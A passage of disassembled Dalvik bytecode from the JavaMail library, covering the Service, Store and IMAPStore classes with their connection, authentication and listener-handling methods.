00000004  invoke-virtual          IMAPMessage->isExpunged()Z, v0
0000000A  move-result             v0
0000000C  return                  v0
.end method

.method protected isREV1()Z
          .registers 2
00000000  iget-object             v0, p0, IMAPNestedMessage->msg:IMAPMessage
00000004  invoke-virtual          IMAPMessage->isREV1()Z, v0
0000000A  move-result             v0
0000000C  return                  v0
.end method

.method public declared-synchronized setFlags(Flags, Z)V
          .registers 5
00000000  monitor-enter           p0
:2
00000002  new-instance            v0, MethodNotSupportedException
00000006  const-string            v1, "Cannot set flags on this nested message"
0000000A  invoke-direct           MethodNotSupportedException-><init>(String)V, v0, v1
00000010  throw                   v0
:12
00000012  move-exception          v0
00000014  monitor-exit            p0
00000016  throw                   v0
          .catchall {:2 .. :12} :12
.end method

#--------------------------------------------------------------------------------
.class public abstract Service
.super Object
.source ""

.field private connected:Z
.field private connectionListeners:Vector
.field protected debug:Z
.field private q:EventQueue
.field private qLock:Object
.field protected session:Session
.field protected url:URLName

.method protected constructor <init>(Session, URLName)V
          .registers 5
00000000  const/4                 v1, 0x0
00000002  const/4                 v0, 0x0
00000004  invoke-direct           Object-><init>()V, p0
0000000A  iput-object             v1, p0, Service->url:URLName
0000000E  iput-boolean            v0, p0, Service->debug:Z
00000012  iput-boolean            v0, p0, Service->connected:Z
00000016  iput-object             v1, p0, Service->connectionListeners:Vector
0000001A  new-instance            v0, Object
0000001E  invoke-direct           Object-><init>()V, v0
00000024  iput-object             v0, p0, Service->qLock:Object
00000028  iput-object             p1, p0, Service->session:Session
0000002C  iput-object             p2, p0, Service->url:URLName
00000030  invoke-virtual          Session->getDebug()Z, p1
00000036  move-result             v0
00000038  iput-boolean            v0, p0, Service->debug:Z
0000003C  return-void
.end method

.method private terminateQueue()V
          .registers 5
00000000  iget-object             v1, p0, Service->qLock:Object
00000004  monitor-enter           v1
:6
00000006  iget-object             v0, p0, Service->q:EventQueue
0000000A  if-eqz                  v0, :3A
:E
0000000E  new-instance            v0, Vector
00000012  invoke-direct           Vector-><init>()V, v0
00000018  const/4                 v2, 0x1
0000001A  invoke-virtual          Vector->setSize(I)V, v0, v2
00000020  iget-object             v2, p0, Service->q:EventQueue
00000024  new-instance            v3, Service$TerminatorEvent
00000028  invoke-direct           Service$TerminatorEvent-><init>()V, v3
0000002E  invoke-virtual          EventQueue->enqueue(MailEvent, Vector)V, v2, v3, v0
00000034  const/4                 v0, 0x0
00000036  iput-object             v0, p0, Service->q:EventQueue
:3A
0000003A  monitor-exit            v1
0000003C  return-void
:3E
0000003E  move-exception          v0
00000040  monitor-exit            v1
:42
00000042  throw                   v0
          .catchall {:6 .. :42} :3E
.end method

.method public declared-synchronized addConnectionListener(ConnectionListener)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Service->connectionListeners:Vector
00000006  if-nez                  v0, :18
:A
0000000A  new-instance            v0, Vector
0000000E  invoke-direct           Vector-><init>()V, v0
00000014  iput-object             v0, p0, Service->connectionListeners:Vector
:18
00000018  iget-object             v0, p0, Service->connectionListeners:Vector
0000001C  invoke-virtual          Vector->addElement(Object)V, v0, p1
:22
00000022  monitor-exit            p0
00000024  return-void
:26
00000026  move-exception          v0
00000028  monitor-exit            p0
0000002A  throw                   v0
          .catchall {:2 .. :22} :26
.end method

.method public declared-synchronized close()V
          .registers 2
00000000  monitor-enter           p0
00000002  const/4                 v0, 0x0
:4
00000004  invoke-virtual          Service->setConnected(Z)V, p0, v0
0000000A  const/4                 v0, 0x3
0000000C  invoke-virtual          Service->notifyConnectionListeners(I)V, p0, v0
:12
00000012  monitor-exit            p0
00000014  return-void
:16
00000016  move-exception          v0
00000018  monitor-exit            p0
0000001A  throw                   v0
          .catchall {:4 .. :12} :16
.end method

.method public connect()V
          .registers 2
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          Service->connect(String, String, String)V, p0, v0, v0, v0
00000008  return-void
.end method

.method public declared-synchronized connect(String, I, String, String)V
          .registers 20
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          Service->isConnected()Z, p0
00000008  move-result             v1
0000000A  if-eqz                  v1, :24
:E
0000000E  new-instance            v1, IllegalStateException
00000012  const-string            v2, "already connected"
00000016  invoke-direct           IllegalStateException-><init>(String)V, v1, v2
0000001C  throw                   v1
:1E
0000001E  move-exception          v1
00000020  monitor-exit            p0
00000022  throw                   v1
:24
00000024  const/4                 v13, 0x0
00000026  const/4                 v8, 0x0
00000028  const/4                 v2, 0x0
0000002A  const/4                 v5, 0x0
:2C
0000002C  iget-object             v1, p0, Service->url:URLName
00000030  if-eqz                  v1, :2F6
:34
00000034  iget-object             v1, p0, Service->url:URLName
00000038  invoke-virtual          URLName->getProtocol()String, v1
0000003E  move-result-object      v2
00000040  if-nez                  p1, :2EE
:44
00000044  iget-object             v1, p0, Service->url:URLName
00000048  invoke-virtual          URLName->getHost()String, v1
0000004E  move-result-object      v3
:50
00000050  const/4                 v1, 0xFFFFFFFFFFFFFFFF
00000052  move/from16             v0, p2
00000056  if-ne                   v0, v1, :2E6
:5A
0000005A  iget-object             v1, p0, Service->url:URLName
0000005E  invoke-virtual          URLName->getPort()I, v1
00000064  move-result             v4
:66
00000066  if-nez                  p3, :1EA
:6A
0000006A  iget-object             v1, p0, Service->url:URLName
0000006E  invoke-virtual          URLName->getUsername()String, v1
00000074  move-result-object      p3
00000076  if-nez                  p4, :2DA
:7A
0000007A  iget-object             v1, p0, Service->url:URLName
0000007E  invoke-virtual          URLName->getPassword()String, v1
00000084  move-result-object      p4
00000086  move-object/from16      v9, p4
0000008A  move-object/from16      v6, p3
:8E
0000008E  iget-object             v1, p0, Service->url:URLName
00000092  invoke-virtual          URLName->getFile()String, v1
00000098  move-result-object      v5
:9A
0000009A  if-eqz                  v2, :112
:9E
0000009E  if-nez                  v3, :D8
:A2
000000A2  iget-object             v1, p0, Service->session:Session
000000A6  new-instance            v3, StringBuilder
000000AA  const-string            v7, "mail."
000000AE  invoke-direct           StringBuilder-><init>(String)V, v3, v7
000000B4  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v2
000000BA  move-result-object      v3
000000BC  const-string            v7, ".host"
000000C0  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v7
000000C6  move-result-object      v3
000000C8  invoke-virtual          StringBuilder->toString()String, v3
000000CE  move-result-object      v3
000000D0  invoke-virtual          Session->getProperty(String)String, v1, v3
000000D6  move-result-object      v3
:D8
000000D8  if-nez                  v6, :112
:DC
000000DC  iget-object             v1, p0, Service->session:Session
000000E0  new-instance            v6, StringBuilder
000000E4  const-string            v7, "mail."
000000E8  invoke-direct           StringBuilder-><init>(String)V, v6, v7
000000EE  invoke-virtual          StringBuilder->append(String)StringBuilder, v6, v2
000000F4  move-result-object      v6
000000F6  const-string            v7, ".user"
000000FA  invoke-virtual          StringBuilder->append(String)StringBuilder, v6, v7
00000100  move-result-object      v6
00000102  invoke-virtual          StringBuilder->toString()String, v6
00000108  move-result-object      v6
0000010A  invoke-virtual          Session->getProperty(String)String, v1, v6
00000110  move-result-object      v6
:112
00000112  if-nez                  v3, :126
:116
00000116  iget-object             v1, p0, Service->session:Session
0000011A  const-string            v3, "mail.host"
0000011E  invoke-virtual          Session->getProperty(String)String, v1, v3
00000124  move-result-object      v3
:126
00000126  if-nez                  v6, :13A
:12A
0000012A  iget-object             v1, p0, Service->session:Session
0000012E  const-string            v6, "mail.user"
00000132  invoke-virtual          Session->getProperty(String)String, v1, v6
:138
00000138  move-result-object      v6
:13A
0000013A  if-nez                  v6, :14A
:13E
0000013E  const-string            v1, "user.name"
00000142  invoke-static           System->getProperty(String)String, v1
:148
00000148  move-result-object      v6
:14A
0000014A  if-nez                  v9, :2D0
:14E
0000014E  iget-object             v1, p0, Service->url:URLName
00000152  if-eqz                  v1, :2D0
:156
00000156  new-instance            v1, URLName
0000015A  const/4                 v7, 0x0
0000015C  invoke-direct/range     URLName-><init>(String, String, I, String, String, String)V, v1 .. v7
00000162  invoke-virtual          Service->setURLName(URLName)V, p0, v1
00000168  iget-object             v1, p0, Service->session:Session
0000016C  invoke-virtual          Service->getURLName()URLName, p0
00000172  move-result-object      v7
00000174  invoke-virtual          Session->getPasswordAuthentication(URLName)PasswordAuthentication, v1, v7
0000017A  move-result-object      v1
0000017C  if-eqz                  v1, :262
:180
00000180  if-nez                  v6, :240
:184
00000184  invoke-virtual          PasswordAuthentication->getUserName()String, v1
0000018A  move-result-object      v6
0000018C  invoke-virtual          PasswordAuthentication->getPassword()String, v1
:192
00000192  move-result-object      v1
00000194  move                    v12, v8
00000196  move-object             v11, v6
:198
00000198  const/4                 v6, 0x0
:19A
0000019A  invoke-virtual          Service->protocolConnect(String, I, String, String)Z, p0, v3, v4, v11, v1
:1A0
000001A0  move-result             v13
000001A2  move-object             v14, v6
:1A4
000001A4  if-nez                  v13, :2C8
:1A8
000001A8  invoke-static           InetAddress->getByName(String)InetAddress, v3
:1AE
000001AE  move-result-object      v7
:1B0
000001B0  iget-object             v6, p0, Service->session:Session
000001B4  const/4                 v10, 0x0
000001B6  move                    v8, v4
000001B8  move-object             v9, v2
000001BA  invoke-virtual/range    Session->requestPasswordAuthentication(InetAddress, I, String, String, String)PasswordAuthentication, v6 .. v11
000001C0  move-result-object      v6
000001C2  if-eqz                  v6, :2C8
:1C6
000001C6  invoke-virtual          PasswordAuthentication->getUserName()String, v6
000001CC  move-result-object      v11
000001CE  invoke-virtual          PasswordAuthentication->getPassword()String, v6
000001D4  move-result-object      v7
000001D6  invoke-virtual          Service->protocolConnect(String, I, String, String)Z, p0, v3, v4, v11, v7
000001DC  move-result             v1
000001DE  move-object             v6, v11
:1E0
000001E0  if-nez                  v1, :284
:1E4
000001E4  if-eqz                  v14, :278
:1E8
000001E8  throw                   v14
:1EA
000001EA  if-nez                  p4, :2DA
:1EE
000001EE  iget-object             v1, p0, Service->url:URLName
000001F2  invoke-virtual          URLName->getUsername()String, v1
000001F8  move-result-object      v1
000001FA  move-object/from16      v0, p3
000001FE  invoke-virtual          String->equals(Object)Z, v0, v1
00000204  move-result             v1
00000206  if-eqz                  v1, :2DA
:20A
0000020A  iget-object             v1, p0, Service->url:URLName
0000020E  invoke-virtual          URLName->getPassword()String, v1
00000214  move-result-object      p4
00000216  move-object/from16      v9, p4
0000021A  move-object/from16      v6, p3
0000021E  goto/16                 :8E
:222
00000222  move-exception          v1
00000224  iget-boolean            v7, p0, Service->debug:Z
00000228  if-eqz                  v7, :14A
:22C
0000022C  iget-object             v7, p0, Service->session:Session
00000230  invoke-virtual          Session->getDebugOut()PrintStream, v7
00000236  move-result-object      v7
00000238  invoke-virtual          SecurityException->printStackTrace(PrintStream)V, v1, v7
0000023E  goto                    :14A
:240
00000240  invoke-virtual          PasswordAuthentication->getUserName()String, v1
00000246  move-result-object      v7
00000248  invoke-virtual          String->equals(Object)Z, v6, v7
0000024E  move-result             v7
00000250  if-eqz                  v7, :2D0
:254
00000254  invoke-virtual          PasswordAuthentication->getPassword()String, v1
0000025A  move-result-object      v1
0000025C  move                    v12, v8
0000025E  move-object             v11, v6
00000260  goto                    :198
:262
00000262  const/4                 v1, 0x1
00000264  move                    v12, v1
00000266  move-object             v11, v6
00000268  move-object             v1, v9
0000026A  goto                    :198
:26C
0000026C  move-exception          v6
0000026E  move-object             v14, v6
00000270  goto                    :1A4
:272
00000272  move-exception          v6
00000274  const/4                 v7, 0x0
00000276  goto                    :1B0
:278
00000278  new-instance            v1, AuthenticationFailedException
0000027C  invoke-direct           AuthenticationFailedException-><init>()V, v1
00000282  throw                   v1
:284
00000284  new-instance            v1, URLName
00000288  invoke-direct/range     URLName-><init>(String, String, I, String, String, String)V, v1 .. v7
0000028E  invoke-virtual          Service->setURLName(URLName)V, p0, v1
00000294  if-eqz                  v12, :2B4
:298
00000298  iget-object             v1, p0, Service->session:Session
0000029C  invoke-virtual          Service->getURLName()URLName, p0
000002A2  move-result-object      v2
000002A4  new-instance            v3, PasswordAuthentication
000002A8  invoke-direct           PasswordAuthentication-><init>(String, String)V, v3, v6, v7
000002AE  invoke-virtual          Session->setPasswordAuthentication(URLName, PasswordAuthentication)V, v1, v2, v3
:2B4
000002B4  const/4                 v1, 0x1
000002B6  invoke-virtual          Service->setConnected(Z)V, p0, v1
000002BC  const/4                 v1, 0x1
000002BE  invoke-virtual          Service->notifyConnectionListeners(I)V, p0, v1
:2C4
000002C4  monitor-exit            p0
000002C6  return-void
:2C8
000002C8  move-object             v7, v1
000002CA  move-object             v6, v11
000002CC  move                    v1, v13
000002CE  goto                    :1E0
:2D0
000002D0  move                    v12, v8
000002D2  move-object             v1, v9
000002D4  move-object             v11, v6
000002D6  goto/16                 :198
:2DA
000002DA  move-object/from16      v9, p4
000002DE  move-object/from16      v6, p3
000002E2  goto/16                 :8E
:2E6
000002E6  move/from16             v4, p2
000002EA  goto/16                 :66
:2EE
000002EE  move-object/from16      v3, p1
000002F2  goto/16                 :50
:2F6
000002F6  move-object/from16      v9, p4
000002FA  move-object/from16      v6, p3
000002FE  move/from16             v4, p2
00000302  move-object/from16      v3, p1
00000306  goto/16                 :9A
          .catchall {:2 .. :1E} :1E
          .catchall {:2C .. :138} :1E
          .catch SecurityException {:13E .. :148} :222
          .catchall {:13E .. :148} :1E
          .catchall {:14E .. :192} :1E
          .catch AuthenticationFailedException {:19A .. :1A0} :26C
          .catchall {:19A .. :1A0} :1E
          .catch UnknownHostException {:1A8 .. :1AE} :272
          .catchall {:1A8 .. :1AE} :1E
          .catchall {:1B0 .. :2C4} :1E
.end method

.method public connect(String, String)V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          Service->connect(String, String, String)V, p0, v0, p1, p2
00000008  return-void
.end method

.method public connect(String, String, String)V
          .registers 5
00000000  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000002  invoke-virtual          Service->connect(String, I, String, String)V, p0, p1, v0, p2, p3
00000008  return-void
.end method

.method protected finalize()V
          .registers 1
00000000  invoke-super            Object->finalize()V, p0
00000006  invoke-direct           Service->terminateQueue()V, p0
0000000C  return-void
.end method

.method public declared-synchronized getURLName()URLName
          .registers 8
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Service->url:URLName
00000006  if-eqz                  v0, :6C
:A
0000000A  iget-object             v0, p0, Service->url:URLName
0000000E  invoke-virtual          URLName->getPassword()String, v0
00000014  move-result-object      v0
00000016  if-nez                  v0, :2A
:1A
0000001A  iget-object             v0, p0, Service->url:URLName
0000001E  invoke-virtual          URLName->getFile()String, v0
00000024  move-result-object      v0
00000026  if-eqz                  v0, :6C
:2A
0000002A  new-instance            v0, URLName
0000002E  iget-object             v1, p0, Service->url:URLName
00000032  invoke-virtual          URLName->getProtocol()String, v1
00000038  move-result-object      v1
0000003A  iget-object             v2, p0, Service->url:URLName
0000003E  invoke-virtual          URLName->getHost()String, v2
00000044  move-result-object      v2
00000046  iget-object             v3, p0, Service->url:URLName
0000004A  invoke-virtual          URLName->getPort()I, v3
00000050  move-result             v3
00000052  const/4                 v4, 0x0
00000054  iget-object             v5, p0, Service->url:URLName
00000058  invoke-virtual          URLName->getUsername()String, v5
0000005E  move-result-object      v5
00000060  const/4                 v6, 0x0
00000062  invoke-direct/range     URLName-><init>(String, String, I, String, String, String)V, v0 .. v6
:68
00000068  monitor-exit            p0
0000006A  return-object           v0
:6C
0000006C  iget-object             v0, p0, Service->url:URLName
:70
00000070  goto                    :68
:72
00000072  move-exception          v0
00000074  monitor-exit            p0
00000076  throw                   v0
          .catchall {:2 .. :68} :72
          .catchall {:6C .. :70} :72
.end method

.method public declared-synchronized isConnected()Z
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-boolean            v0, p0, Service->connected:Z
:6
00000006  monitor-exit            p0
00000008  return                  v0
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method protected declared-synchronized notifyConnectionListeners(I)V
          .registers 4
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Service->connectionListeners:Vector
00000006  if-eqz                  v0, :1E
:A
0000000A  new-instance            v0, ConnectionEvent
0000000E  invoke-direct           ConnectionEvent-><init>(Object, I)V, v0, p0, p1
00000014  iget-object             v1, p0, Service->connectionListeners:Vector
00000018  invoke-virtual          Service->queueEvent(MailEvent, Vector)V, p0, v0, v1
:1E
0000001E  const/4                 v0, 0x3
00000020  if-ne                   p1, v0, :2A
:24
00000024  invoke-direct           Service->terminateQueue()V, p0
:2A
0000002A  monitor-exit            p0
0000002C  return-void
:2E
0000002E  move-exception          v0
00000030  monitor-exit            p0
00000032  throw                   v0
          .catchall {:2 .. :2A} :2E
.end method

.method protected protocolConnect(String, I, String, String)Z
          .registers 6
00000000  const/4                 v0, 0x0
00000002  return                  v0
.end method

.method protected queueEvent(MailEvent, Vector)V
          .registers 5
00000000  iget-object             v1, p0, Service->qLock:Object
00000004  monitor-enter           v1
:6
00000006  iget-object             v0, p0, Service->q:EventQueue
0000000A  if-nez                  v0, :1C
:E
0000000E  new-instance            v0, EventQueue
00000012  invoke-direct           EventQueue-><init>()V, v0
00000018  iput-object             v0, p0, Service->q:EventQueue
:1C
0000001C  monitor-exit            v1
:1E
0000001E  invoke-virtual          Vector->clone()Object, p2
00000024  move-result-object      v0
00000026  check-cast              v0, Vector
0000002A  iget-object             v1, p0, Service->q:EventQueue
0000002E  invoke-virtual          EventQueue->enqueue(MailEvent, Vector)V, v1, p1, v0
00000034  return-void
:36
00000036  move-exception          v0
:38
00000038  monitor-exit            v1
:3A
0000003A  throw                   v0
          .catchall {:6 .. :1E} :36
          .catchall {:38 .. :3A} :36
.end method

.method public declared-synchronized removeConnectionListener(ConnectionListener)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Service->connectionListeners:Vector
00000006  if-eqz                  v0, :14
:A
0000000A  iget-object             v0, p0, Service->connectionListeners:Vector
0000000E  invoke-virtual          Vector->removeElement(Object)Z, v0, p1
:14
00000014  monitor-exit            p0
00000016  return-void
:18
00000018  move-exception          v0
0000001A  monitor-exit            p0
0000001C  throw                   v0
          .catchall {:2 .. :14} :18
.end method

.method protected declared-synchronized setConnected(Z)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iput-boolean            p1, p0, Service->connected:Z
:6
00000006  monitor-exit            p0
00000008  return-void
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method protected declared-synchronized setURLName(URLName)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iput-object             p1, p0, Service->url:URLName
:6
00000006  monitor-exit            p0
00000008  return-void
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public toString()String
          .registers 2
00000000  invoke-virtual          Service->getURLName()URLName, p0
00000006  move-result-object      v0
00000008  if-eqz                  v0, :16
:C
0000000C  invoke-virtual          URLName->toString()String, v0
00000012  move-result-object      v0
:14
00000014  return-object           v0
:16
00000016  invoke-super            Object->toString()String, p0
0000001C  move-result-object      v0
0000001E  goto                    :14
.end method

#--------------------------------------------------------------------------------
.class public abstract Store
.super Service
.source ""

.field private volatile bridge folderListeners:Vector
.field private volatile bridge storeListeners:Vector

.method protected constructor <init>(Session, URLName)V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  invoke-direct           Service-><init>(Session, URLName)V, p0, p1, p2
00000008  iput-object             v0, p0, Store->storeListeners:Vector
0000000C  iput-object             v0, p0, Store->folderListeners:Vector
00000010  return-void
.end method

.method public declared-synchronized addFolderListener(FolderListener)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Store->folderListeners:Vector
00000006  if-nez                  v0, :18
:A
0000000A  new-instance            v0, Vector
0000000E  invoke-direct           Vector-><init>()V, v0
00000014  iput-object             v0, p0, Store->folderListeners:Vector
:18
00000018  iget-object             v0, p0, Store->folderListeners:Vector
0000001C  invoke-virtual          Vector->addElement(Object)V, v0, p1
:22
00000022  monitor-exit            p0
00000024  return-void
:26
00000026  move-exception          v0
00000028  monitor-exit            p0
0000002A  throw                   v0
          .catchall {:2 .. :22} :26
.end method

.method public declared-synchronized addStoreListener(StoreListener)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Store->storeListeners:Vector
00000006  if-nez                  v0, :18
:A
0000000A  new-instance            v0, Vector
0000000E  invoke-direct           Vector-><init>()V, v0
00000014  iput-object             v0, p0, Store->storeListeners:Vector
:18
00000018  iget-object             v0, p0, Store->storeListeners:Vector
0000001C  invoke-virtual          Vector->addElement(Object)V, v0, p1
:22
00000022  monitor-exit            p0
00000024  return-void
:26
00000026  move-exception          v0
00000028  monitor-exit            p0
0000002A  throw                   v0
          .catchall {:2 .. :22} :26
.end method

.method public abstract getDefaultFolder()Folder
.end method

.method public abstract getFolder(String)Folder
.end method

.method public abstract getFolder(URLName)Folder
.end method

.method public getPersonalNamespaces()[Folder
          .registers 4
00000000  const/4                 v0, 0x1
00000002  new-array               v0, v0, [Folder
00000006  const/4                 v1, 0x0
00000008  invoke-virtual          Store->getDefaultFolder()Folder, p0
0000000E  move-result-object      v2
00000010  aput-object             v2, v0, v1
00000014  return-object           v0
.end method

.method public getSharedNamespaces()[Folder
          .registers 2
00000000  const/4                 v0, 0x0
00000002  new-array               v0, v0, [Folder
00000006  return-object           v0
.end method

.method public getUserNamespaces(String)[Folder
          .registers 3
00000000  const/4                 v0, 0x0
00000002  new-array               v0, v0, [Folder
00000006  return-object           v0
.end method

.method protected notifyFolderListeners(I, Folder)V
          .registers 5
00000000  iget-object             v0, p0, Store->folderListeners:Vector
00000004  if-nez                  v0, :A
:8
00000008  return-void
:A
0000000A  new-instance            v0, FolderEvent
0000000E  invoke-direct           FolderEvent-><init>(Object, Folder, I)V, v0, p0, p2, p1
00000014  iget-object             v1, p0, Store->folderListeners:Vector
00000018  invoke-virtual          Store->queueEvent(MailEvent, Vector)V, p0, v0, v1
0000001E  goto                    :8
.end method

.method protected notifyFolderRenamedListeners(Folder, Folder)V
          .registers 5
00000000  iget-object             v0, p0, Store->folderListeners:Vector
00000004  if-nez                  v0, :A
:8
00000008  return-void
:A
0000000A  new-instance            v0, FolderEvent
0000000E  const/4                 v1, 0x3
00000010  invoke-direct           FolderEvent-><init>(Object, Folder, Folder, I)V, v0, p0, p1, p2, v1
00000016  iget-object             v1, p0, Store->folderListeners:Vector
0000001A  invoke-virtual          Store->queueEvent(MailEvent, Vector)V, p0, v0, v1
00000020  goto                    :8
.end method

.method protected notifyStoreListeners(I, String)V
          .registers 5
00000000  iget-object             v0, p0, Store->storeListeners:Vector
00000004  if-nez                  v0, :A
:8
00000008  return-void
:A
0000000A  new-instance            v0, StoreEvent
0000000E  invoke-direct           StoreEvent-><init>(Store, I, String)V, v0, p0, p1, p2
00000014  iget-object             v1, p0, Store->storeListeners:Vector
00000018  invoke-virtual          Store->queueEvent(MailEvent, Vector)V, p0, v0, v1
0000001E  goto                    :8
.end method

.method public declared-synchronized removeFolderListener(FolderListener)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Store->folderListeners:Vector
00000006  if-eqz                  v0, :14
:A
0000000A  iget-object             v0, p0, Store->folderListeners:Vector
0000000E  invoke-virtual          Vector->removeElement(Object)Z, v0, p1
:14
00000014  monitor-exit            p0
00000016  return-void
:18
00000018  move-exception          v0
0000001A  monitor-exit            p0
0000001C  throw                   v0
          .catchall {:2 .. :14} :18
.end method

.method public declared-synchronized removeStoreListener(StoreListener)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Store->storeListeners:Vector
00000006  if-eqz                  v0, :14
:A
0000000A  iget-object             v0, p0, Store->storeListeners:Vector
0000000E  invoke-virtual          Vector->removeElement(Object)Z, v0, p1
:14
00000014  monitor-exit            p0
00000016  return-void
:18
00000018  move-exception          v0
0000001A  monitor-exit            p0
0000001C  throw                   v0
          .catchall {:2 .. :14} :18
.end method

#--------------------------------------------------------------------------------
.class public abstract interface QuotaAwareStore
.super Object
.source ""

.method public abstract getQuota(String)[Quota
.end method

.method public abstract setQuota(Quota)V
.end method

#--------------------------------------------------------------------------------
.class public IMAPStore
.super Store
.source ""

.implements ResponseHandler
.implements QuotaAwareStore

.field static final synthetic $assertionsDisabled:Z = false
.field public static final RESPONSE:I = 0x3E8
.field private appendBufferSize:I
.field private authorizationID:String
.field private blksize:I
.field private volatile bridge connected:Z
.field private defaultPort:I
.field private disableAuthLogin:Z
.field private disableAuthPlain:Z
.field private enableImapEvents:Z
.field private enableSASL:Z
.field private enableStartTLS:Z
.field private forcePasswordRefresh:Z
.field private host:String
.field private isSSL:Z
.field private minIdleTime:I
.field private name:String
.field private namespaces:Namespaces
.field private out:PrintStream
.field private password:String
.field private pool:IMAPStore$ConnectionPool
.field private port:I
.field private proxyAuthUser:String
.field private saslMechanisms:[String
.field private saslRealm:String
.field private statusCacheTimeout:I
.field private user:String

.method static constructor <clinit>()V
          .registers 1
00000000  const-class             v0, IMAPStore
00000004  invoke-virtual          Class->desiredAssertionStatus()Z, v0
0000000A  move-result             v0
0000000C  if-nez                  v0, :18
:10
00000010  const/4                 v0, 0x1
:12
00000012  sput-boolean            v0, IMAPStore->$assertionsDisabled:Z
00000016  return-void
:18
00000018  const/4                 v0, 0x0
0000001A  goto                    :12
.end method

.method public constructor <init>(Session, URLName)V
          .registers 9
00000000  const-string            v3, "imap"
00000004  const/16                v4, 0x8F
00000008  const/4                 v5, 0x0
0000000A  move-object             v0, p0
0000000C  move-object             v1, p1
0000000E  move-object             v2, p2
00000010  invoke-direct/range     IMAPStore-><init>(Session, URLName, String, I, Z)V, v0 .. v5
00000016  return-void
.end method

.method protected constructor <init>(Session, URLName, String, I, Z)V
          .registers 11
00000000  const/4                 v3, 0xFFFFFFFFFFFFFFFF
00000002  const/4                 v4, 0x1
00000004  const/4                 v1, 0x0
00000006  invoke-direct           Store-><init>(Session, URLName)V, p0, p1, p2
0000000C  const-string            v0, "imap"
00000010  iput-object             v0, p0, IMAPStore->name:String
00000014  const/16                v0, 0x8F
00000018  iput                    v0, p0, IMAPStore->defaultPort:I
0000001C  iput-boolean            v1, p0, IMAPStore->isSSL:Z
00000020  iput                    v3, p0, IMAPStore->port:I
00000024  const/16                v0, 0x4000
00000028  iput                    v0, p0, IMAPStore->blksize:I
0000002C  const/16                v0, 0x3E8
00000030  iput                    v0, p0, IMAPStore->statusCacheTimeout:I
00000034  iput                    v3, p0, IMAPStore->appendBufferSize:I
00000038  const/16                v0, 0xA
0000003C  iput                    v0, p0, IMAPStore->minIdleTime:I
00000040  iput-boolean            v1, p0, IMAPStore->disableAuthLogin:Z
00000044  iput-boolean            v1, p0, IMAPStore->disableAuthPlain:Z
00000048  iput-boolean            v1, p0, IMAPStore->enableStartTLS:Z
0000004C  iput-boolean            v1, p0, IMAPStore->enableSASL:Z
00000050  iput-boolean            v1, p0, IMAPStore->forcePasswordRefresh:Z
00000054  iput-boolean            v1, p0, IMAPStore->enableImapEvents:Z
00000058  iput-boolean            v1, p0, IMAPStore->connected:Z
0000005C  new-instance            v0, IMAPStore$ConnectionPool
00000060  invoke-direct           IMAPStore$ConnectionPool-><init>()V, v0
00000066  iput-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000006A  if-eqz                  p2, :76
:6E
0000006E  invoke-virtual          URLName->getProtocol()String, p2
00000074  move-result-object      p3
:76
00000076  iput-object             p3, p0, IMAPStore->name:String
0000007A  iput                    p4, p0, IMAPStore->defaultPort:I
0000007E  iput-boolean            p5, p0, IMAPStore->isSSL:Z
00000082  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000086  invoke-static           System->currentTimeMillis()J
0000008C  move-result-wide        v1
0000008E  invoke-static           IMAPStore$ConnectionPool->access$0(IMAPStore$ConnectionPool, J)V, v0, v1, v2
00000094  invoke-virtual          Session->getDebug()Z, p1
0000009A  move-result             v0
0000009C  iput-boolean            v0, p0, IMAPStore->debug:Z
000000A0  invoke-virtual          Session->getDebugOut()PrintStream, p1
000000A6  move-result-object      v0
000000A8  iput-object             v0, p0, IMAPStore->out:PrintStream
000000AC  iget-object             v0, p0, IMAPStore->out:PrintStream
000000B0  if-nez                  v0, :BC
:B4
000000B4  sget-object             v0, System->out:PrintStream
000000B8  iput-object             v0, p0, IMAPStore->out:PrintStream
:BC
000000BC  new-instance            v0, StringBuilder
000000C0  const-string            v1, "mail."
000000C4  invoke-direct           StringBuilder-><init>(String)V, v0, v1
000000CA  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
000000D0  move-result-object      v0
000000D2  const-string            v1, ".connectionpool.debug"
000000D6  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
000000DC  move-result-object      v0
000000DE  invoke-virtual          StringBuilder->toString()String, v0
000000E4  move-result-object      v0
000000E6  invoke-virtual          Session->getProperty(String)String, p1, v0
000000EC  move-result-object      v0
000000EE  if-eqz                  v0, :10C
:F2
000000F2  const-string            v1, "true"
000000F6  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
000000FC  move-result             v0
000000FE  if-eqz                  v0, :10C
:102
00000102  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000106  invoke-static           IMAPStore$ConnectionPool->access$1(IMAPStore$ConnectionPool, Z)V, v0, v4
:10C
0000010C  new-instance            v0, StringBuilder
00000110  const-string            v1, "mail."
00000114  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000011A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
00000120  move-result-object      v0
00000122  const-string            v1, ".partialfetch"
